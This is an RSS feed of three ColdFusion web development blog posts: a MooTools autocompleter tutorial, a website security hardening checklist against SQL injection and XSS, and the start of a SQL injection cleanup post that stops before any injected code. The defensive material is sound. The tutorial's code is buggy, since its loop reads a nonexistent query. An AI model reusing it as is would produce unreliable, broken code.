<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Simon Whatley &#187; Code</title>
	<atom:link href="http://www.simonwhatley.co.uk/category/code/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<pubDate>Fri, 29 Aug 2008 16:23:36 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Using the MooTools Autocompleter Plugin with ColdFusion</title>
		<link>http://www.simonwhatley.co.uk/using-the-mootools-autocompleter-plugin-with-coldfusion</link>
		<comments>http://www.simonwhatley.co.uk/using-the-mootools-autocompleter-plugin-with-coldfusion#comments</comments>
		<pubDate>Thu, 21 Aug 2008 09:57:35 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Mootools]]></category>

		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[autocomplete]]></category>

		<category><![CDATA[autocompleter]]></category>

		<category><![CDATA[CNet]]></category>

		<category><![CDATA[Framework]]></category>

		<category><![CDATA[Harald Kirschner]]></category>

		<category><![CDATA[JavaScript Object Notation]]></category>

		<category><![CDATA[JSON]]></category>

		<category><![CDATA[mootools]]></category>

		<category><![CDATA[plugin]]></category>

		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=883</guid>
		<description><![CDATA[In a previous post, I demonstrated how to implement Dylan Verheul’s jQuery Autocomplete plugin. Not content with demonstrating one library's plugin, it is now the turn of Mootools. ]]></description>
			<content:encoded><![CDATA[<p>In a <a href="/using-jquery-auto-complete-with-coldfusion" title="Using jQuery Auto-Complete with ColdFusion">previous post</a>, I demonstrated how to implement Dylan Verheul&#8217;s <a href="http://www.dyve.net/jquery/?autocomplete" title="jQuery Autocomplete Plugin" target="_blank" rel="nofollow">jQuery Autocomplete plugin</a>. Not content with demonstrating one library&#8217;s plugin, it is now the turn of <a href="http://mootools.net/" title="MooTools JavaScript Framework" target="_blank" rel="nofollow">MooTools</a>. </p>
<blockquote><p>MooTools is a compact, modular, Object-Oriented JavaScript framework designed for the intermediate to advanced JavaScript developer. It allows you to write powerful, flexible, and cross-browser code with its elegant, well documented, and coherent API.</p></blockquote>
<p>In this post I will show you how to implement the <a href="http://digitarald.de/project/autocompleter/" title="Autocompleter Plugin" target="_blank" rel="nofollow">AutoCompleter plugin</a> by Harald Kirschner. Kirschner&#8217;s AutoCompleter plugin script for MooTools provides the functionality for text suggestion and completion. It features different data-sources (local, <acronym title="JavaScript Object Notation">JSON</acronym> or <abbr title="eXtensible Markup Language">XML</abbr>), a variety of user interactions, custom formatting, multiple selection, animations and much more.</p>
<h3>The Goal</h3>
<p>The goal of this post will be the same as the <a href="/using-jquery-auto-complete-with-coldfusion" title="Using jQuery Auto-Complete with ColdFusion">jQuery autocomplete post</a>: Allow the user to type a few characters into a standard form text input field and to automatically provide suggestions from which the user can select.</p>
<h3>Prerequisites</h3>
<ol>
<li>The <a href="http://mootools.net/download" title="Mootools Download" target="_blank" rel="nofollow">latest copy of MooTools</a></li>
<li>A basic understanding of JavaScript and <acronym title="JavaScript Object Notation">JSON</acronym></li>
<li>A server-side script that can respond to the <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> request, in our case ColdFusion</li>
</ol>
<h3>Demo</h3>
<p>The demo below will show how to interact with a simple ColdFusion script, but I&#8217;ll also provide <a href="/examples/autocomplete/mootools/" title="More examples">more (advanced) examples</a> in the <a href="/examples/autocomplete/mootools/autocomplete.zip" title="Download the files">download</a>.</p>
<h3>How It Works</h3>
<p>Once the user begins to type into the form text input field, the MooTools auto-complete is activated. After a set character length and time interval (both optional), a list of items is displayed below the input field. The user can select an item with either the arrow keys or mouse. </p>
<p>NB. Clicking back in the input field will repopulate the auto-complete list, if options are available, so that the user can change the selection. Deleting part of the chosen item will also trigger a new selection list.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>The Code</h3>
<p>There are three parts to this demo:</p>
<ol>
<li>The page’s HTML.</li>
<li>The server-side code to produce the dynamic page (i.e. to load the autocomplete <code>div</code> when the user types something into the input field).</li>
<li>The MooTools JavaScript.</li>
</ol>
<p><strong>HTML Form</strong></p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;h1&gt;</span></span>Example: Country Lookup<span style="color: #000099;"><span style="color: #000066;">&lt;/h1&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>Using <span style="color: #000099;"><span style="color: #000066;">&lt;abbr</span> <span style="color: #000066;">title</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Asynchronous JavaScript and XML&quot;</span><span style="color: #000066;">&gt;</span></span>AJAX<span style="color: #000099;"><span style="color: #000066;">&lt;/abbr&gt;</span></span> to interrogate the database.<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>Example data: Australia, Bulgaria, United Kingdom<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;form</span> <span style="color: #000066;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;frmAutoCompleteCountry&quot;</span> <span style="color: #000066;">id</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;frmAutoCompleteCountry&quot;</span> <span style="color: #000066;">action</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#&quot;</span> <span style="color: #000066;">method</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;post&quot;</span><span style="color: #000066;">&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;label</span> <span style="color: #000066;">for</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span><span style="color: #000066;">&gt;</span></span>Country<span style="color: #000099;"><span style="color: #000066;">&lt;/label&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;input</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span> <span style="color: #000066;">id</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #000066;">&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;/form&gt;</span></span></pre></div></div>

<p><strong>ColdFusion</strong></p>
<p>Below is a simple ColdFusion component that takes a string as an argument. This string is part or all of the country name. The query results are parsed as an array and returned from the function, as <acronym title="JavaScript Object Notation">JSON</acronym>, to the MooTools auto-complete function.</p>

<div class="wp_syntax"><div class="code"><pre class="cfm cfm" style="font-family:monospace;"><span style="color: #333333;"><span style="color: #800000;">&lt;cfcomponent</span> <span style="color: #0000ff">output</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;false&quot;</span><span style="color: #800000;">&gt;</span></span>
&nbsp;
	<span style="color: #333333;"><span style="color: #800000;">&lt;cffunction</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;getCountry&quot;</span> <span style="color: #0000ff">access</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;remote&quot;</span> <span style="color: #0000ff">output</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;false&quot;</span> <span style="color: #0000ff">returntype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;array&quot;</span> returnf<span style="color: #0000ff;">or</span>mat<span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;json&quot;</span><span style="color: #800000;">&gt;</span></span>
		<span style="color: #333333;"><span style="color: #800000;">&lt;cfargument</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span> <span style="color: #0000ff;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;string&quot;</span> <span style="color: #0000ff">required</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;true&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
&nbsp;
		<span style="color: #333333;"><span style="color: #800000;">&lt;cfset</span> <span style="color: #0000ff;">var</span> qryCountry <span style="color: #0000ff">=</span> <span style="color: #800080;">queryNew</span><span style="color: #000000;">&#40;</span><span style="color: #009900;">'country'</span><span style="color: #000000;">&#41;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
		<span style="color: #333333;"><span style="color: #800000;">&lt;cfset</span> <span style="color: #0000ff;">var</span> arrCountry <span style="color: #0000ff">=</span> <span style="color: #800080;">arrayNew</span><span style="color: #000000;">&#40;</span><span style="color: #ff0000;">1</span><span style="color: #000000;">&#41;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
&nbsp;
		<span style="color: #333333;"><span style="color: #800000;">&lt;cfquery</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qryCountry&quot;</span> <span style="color: #0000ff">datasource</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;test&quot;</span><span style="color: #800000;">&gt;</span></span>
		SELECT countryName
		FROM country
		WHERE countryName LIKE <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;%#ARGUMENTS.country#%&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_varchar&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
		<span style="color: #333333;"><span style="color: #800000;">&lt;/cfquery&gt;</span></span>
&nbsp;
		<span style="color: #333333;"><span style="color: #800000;">&lt;cfloop</span> <span style="color: #0000ff">query</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qryData&quot;</span><span style="color: #800000;">&gt;</span></span>
			<span style="color: #333333;"><span style="color: #800000;">&lt;cfset</span> arrCountry<span style="color: #000000;">&#91;</span>currentRow<span style="color: #000000;">&#93;</span> <span style="color: #0000ff">=</span> qryCountry.countryName<span style="color: #000000;">&#91;</span>currentRow<span style="color: #000000;">&#93;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
		<span style="color: #333333;"><span style="color: #800000;">&lt;/cfloop&gt;</span></span>
&nbsp;
		<span style="color: #333333;"><span style="color: #0000ff;">&lt;</span>cfreturn arrCountry <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
	<span style="color: #333333;"><span style="color: #800000;">&lt;/cffunction&gt;</span></span>
&nbsp;
<span style="color: #333333;"><span style="color: #800000;">&lt;/cfcomponent&gt;</span></span></pre></div></div>

<p><strong>JavaScript</strong></p>
<p>The JavaScript will attach itself after the <acronym title="Document Object Model">DOM</acronym> is ready &#8212; this more or less relates to when the page has loaded in the browser. Each time the text input field, with the ID of country, is changed, the <code>Autocompleter.Ajax.Json</code> event is fired. This makes a call to the ColdFusion component, which returns a <acronym title="JavaScript Object Notation">JSON</acronym> object of matched items. This <acronym title="JavaScript Object Notation">JSON</acronym> object is interpreted by the plugin and rendered as an <abbr title="Hyper-Text Markup Language">HTML</abbr> un-ordered list.</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;mootools.js&quot;</span>&gt;&lt;<span style="color: #0000ff;">/</span>script&gt;</span>
<span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Observer.js&quot;</span>&gt;&lt;<span style="color: #0000ff;">/</span>script&gt;</span>
<span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Autocompleter.js&quot;</span>&gt;&lt;<span style="color: #0000ff;">/</span>script&gt;</span>
<span style="color: #000099;"><span style="color: #000066;">&lt;link</span> <span style="color: #000066;">rel</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;stylesheet&quot;</span> <span style="color: #000066;">href</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Autocompleter.css&quot;</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/css&quot;</span> <span style="color: #000066;">media</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;screen&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #000066;">&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span><span style="color: #000066;">&gt;</span></span>
window.addEvent('domready', function() {
	new Autocompleter.Ajax.Json(
		'country',
		'data/Country.cfc?method=getCountry<span style="color: #0000ff;">&amp;returnformat=json&amp;country=' + $('country').getProperty('value')</span>
<span style="color: #0000ff;">		, {</span>
<span style="color: #0000ff;">			'minLength': 1, // We wait for at least one character</span>
<span style="color: #0000ff;">			'overflow': true // Overflow for more entries'</span>
<span style="color: #0000ff;">	});</span>
});
<span style="color: #000099;"><span style="color: #000066;">&lt;/script&gt;</span></span></pre></div></div>

<h3>Where to Take it Next</h3>
<p><strong>Unobtrusive JavaScript</strong></p>
<p>As with any page that is loaded with JavaScript and <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> functionality, it should work without JavaScript.</p>
<p>To achieve this with the above tutorial, you will need to replace the MooTools autocomplete functionality with an ‘interim’ page that allows a user to select from a list of items, effectively turning the input field into a simple search interface. Of course, all other form field information would need to be retained between pages.</p>
<h3>Download the Code</h3>
<p>The <a href="/examples/autocomplete/mootools/autocomplete.zip" title="Download the example code">example code</a> can be downloaded from the demo page. Included are ColdFusion and PHP examples.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/using-the-mootools-autocompleter-plugin-with-coldfusion/feed</wfw:commentRss>
		</item>
		<item>
		<title>How to Protect Your Website from a Malicious Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack#comments</comments>
		<pubDate>Mon, 18 Aug 2008 11:54:20 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[Databases]]></category>

		<category><![CDATA[SQL]]></category>

		<category><![CDATA[Application.cfc]]></category>

		<category><![CDATA[Application.cfm]]></category>

		<category><![CDATA[attack]]></category>

		<category><![CDATA[best practice]]></category>

		<category><![CDATA[cfquery]]></category>

		<category><![CDATA[cfqueryparam]]></category>

		<category><![CDATA[cross-site scripting]]></category>

		<category><![CDATA[database server]]></category>

		<category><![CDATA[how to]]></category>

		<category><![CDATA[howto]]></category>

		<category><![CDATA[prevention]]></category>

		<category><![CDATA[protection]]></category>

		<category><![CDATA[script protect]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[SQL Injection]]></category>

		<category><![CDATA[url]]></category>

		<category><![CDATA[variables]]></category>

		<category><![CDATA[vulnerability]]></category>

		<category><![CDATA[Web Server]]></category>

		<category><![CDATA[webserver]]></category>

		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=809</guid>
		<description><![CDATA[Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company's reputation and log-term revenue prospects.]]></description>
			<content:encoded><![CDATA[<p>Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company&#8217;s reputation and log-term revenue prospects.</p>
<p><strong>Why should you be worried about security?</strong></p>
<p>The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other &#8220;bad guys&#8221; to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.</p>
<p>It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.</p>
<p>This blog post started on the premise of protecting your website from a <a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.</p>
<h3>Server-Level Security</h3>
<ul>
<li>Separate web- and database-servers on to different physical machines.</li>
<li>Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.</li>
<li>Keep servers up-to-date with the latest patches and software releases.</li>
<li>Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.</li>
<li>Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous &#8216;noise&#8217;.</li>
<li>Secure the database server behind a firewall.</li>
</ul>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Application-Level Security</h3>
<ul>
<li>Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.</li>
<li>Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.</li>
<li>Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands <code>CREATE</code>, <code>DROP</code>, <code>GRANT</code>, <code>REVOKE</code> and <code>ALTER</code>.</li>
<li>General settings in the ColdFusion Administrator:
<ul>
<li>Check the <em>Disable access to internal ColdFusion Java components</em> option.</li>
<li>Check the <em>Enable Global Script Protection</em> option.</li>
<li>Add a <em>Missing Template Handler</em>.</li>
<li>Add a <em>Site-wide Error Handler</em>.</li>
<li>Reduce the <em>Maximum size of post data</em> from 100<abbr title="megabytes">MB</abbr>.</li>
<li>Enable <em>Timeout Requests</em>, and set to 60 seconds or less.</li>
<li>Disable <em>Robust Exception Handling</em> on production servers.</li>
</ul>
</li>
</ul>
<h3>Code-Level Security</h3>
<ul>
<li>Application.cfc - Set the <code>scriptProtect</code> Application variable to <code>true</code> to enable application-wide cross-site script protection.
</li>
<li>CFQueryParam - This tag, importantly, verifies the data type of a query parameter and, for <abbr title="Relational Database Management Systems">RDBMS</abbr>s that support bind variables, enables ColdFusion to use bind variables in the <acronym title="Structured Query Language">SQL</acronym> statement. Bind variable usage enhances performance when executing a <code>cfquery</code> statement multiple times.

<div class="wp_syntax"><div class="code"><pre class="cfm cfm" style="font-family:monospace;"><span style="color: #333333;"><span style="color: #800000;">&lt;cfquery</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qry&quot;</span> <span style="color: #0000ff">datasource</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#APPLICATION.dsn#&quot;</span><span style="color: #800000;">&gt;</span></span>
SELECT column1, column2, column3
FROM tableName
WHERE column4 = <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable1#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_bit&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column5 LIKE <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;%#variable2#%&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_varchar&quot;</span> <span style="color: #0000ff;">maxlength</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;200&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column6 IN (<span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable3#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_integer&quot;</span> <span style="color: #0000ff">list</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;true&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>)
<span style="color: #333333;"><span style="color: #800000;">&lt;/cfquery&gt;</span></span></pre></div></div>

<p>There are limitations to the use of the <code>cfqueryparam</code> tag. In ColdFusion 7 for example, you cannot use them in queries using the <code>cachedWithin</code> attribute. Similarly, they cannot be used in <code>ORDER BY</code> clauses, although the use of conditional logic should resolve the need for order by variables.
</li>
<li>Functions - As a rule of thumb, validate <em>all</em> the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the <code>isValid()</code> function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as <code>isArray()</code>, <code>isBinary()</code>, <code>isBoolean()</code>, <code>isDate()</code>, <code>isNumeric()</code> and <code>isSimpleValue()</code> etc.
</li>
<li>Stored Procedures - I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.</li>
</ul>
<h3>Additional Resources</h3>
<ul>
<li>
<a href="http://www.amazon.com/Web-Security-Privacy-Commerce-2nd/dp/0596000456/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663002&#038;sr=8-1" title="Amazon: Web Security, Privacy and Commerce" target="_blank" rel="nofollow">Web Security, Privacy and Commerce</a></li>
<li>O&#8217;Reilly&#8217;s <a href="http://www.amazon.com/Web-Application-Hackers-Handbook-Discovering/dp/0470170778/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663073&#038;sr=1-1" title="Amazon: The Web Application Hacker's Handbook" target="_blank" rel="nofollow">The Web Application Hacker&#8217;s Handbook</a></li>
<li>Adobe&#8217;s whitepaper - <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf8.pdf" title="Adobe: ColdFusion 8 Security PDF" target="_blank" rel="nofollow">ColdFusion 8 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 281k)</li>
<li>Adobe&#8217;s whitepaper - <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf7.pdf" title="Adobe: ColdFusion 7 Security PDF" target="_blank" rel="nofollow">ColdFusion 7 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 217k)</li>
<li>Adobe DevNet - <a href="http://www.adobe.com/devnet/coldfusion/articles/stored_procs.html" title="Learning Stored Procedure Basics in ColdFusion 8" target="_blank" rel="nofollow">Learning Stored Procedure Basics in ColdFusion 8</a></li>
<li>0&#215;000000 # The Hacker Webzine&#8217;s article on <a href="http://www.0x000000.com/?i=610" title="The Hacker Webzine: Attacking ColdFusion" target="_blank" rel="nofollow">Attacking ColdFusion</a></li>
<li>Three part series from Mark Kruger (ColdFusion Muse) - <a title="Query String with cfqueryparam" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/query-string-with-cfqueryparam" target="_blank" rel="nofollow">Part 1</a>, <a title="Using CAST and ASCII" href="http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII" target="_blank" rel="nofollow">Part 2</a>, <a title="Using Order By" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/SQL-injection-using-order-by" target="_blank" rel="nofollow">Part 3</a></li>
<li>Brad Wood&#8217;s article on <a href="http://www.codersrevolution.com/index.cfm/2008/7/26/cfqueryparam-its-not-just-for-security-also-when-NOT-to-use-it" title="CFQueryParam is not just for security - When not to use it" target="_blank" rel="nofollow">CFQueryParam is not just for security</a>.</li>
</ul>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack/feed</wfw:commentRss>
		</item>
		<item>
		<title>How to Fix a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack#comments</comments>
		<pubDate>Fri, 15 Aug 2008 14:33:00 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[SQL]]></category>

		<category><![CDATA[attack]]></category>

		<category><![CDATA[backup]]></category>

		<category><![CDATA[cross-site scripting]]></category>

		<category><![CDATA[database]]></category>

		<category><![CDATA[hack]]></category>

		<category><![CDATA[hacking]]></category>

		<category><![CDATA[how to]]></category>

		<category><![CDATA[howto]]></category>

		<category><![CDATA[programatically]]></category>

		<category><![CDATA[restore]]></category>

		<category><![CDATA[rollback]]></category>

		<category><![CDATA[script]]></category>

		<category><![CDATA[Scripting]]></category>

		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=814</guid>
		<description><![CDATA[In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.]]></description>
			<content:encoded><![CDATA[<p>In my previous post, <a href="/what-is-a-sql-injection-attack">What is a SQL Injection Attack</a>, I gave a brief overview of <acronym title="Structured Query Language">SQL</acronym> injection and Cross-Site Scripting (<abbr title="Cross-Site Scripting">XSS</abbr>), primarily with regard to websites. In the example given, we saw that an attack could take the form of a &#8216;hacked&#8217; URL which contained either a literal <acronym title="Structured Query Language">SQL</acronym> statement, or a hexadecimal string that could be interpreted by an insecure <acronym title="Structured Query Language">SQL</acronym> database server.</p>
<p>Which ever method is used to inject <acronym title="Structured Query Language">SQL</acronym> and ultimately dangerous scripts into the database, we need to know how to deal with the problem and &#8216;roll it back&#8217; to a safe state.</p>
<p>If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Programatically Replace Injected Code</h3>
<p>Fortunately, by the very nature of an <abbr title="Cross-Site Scripting">XSS</abbr> attack, code is appended to the data already in the database &#8212; rather than replacing it &#8212; which means we simply need to remove the appended content.</p>
<p>Taking a real-world example, below is string that was injected into the database:</p>

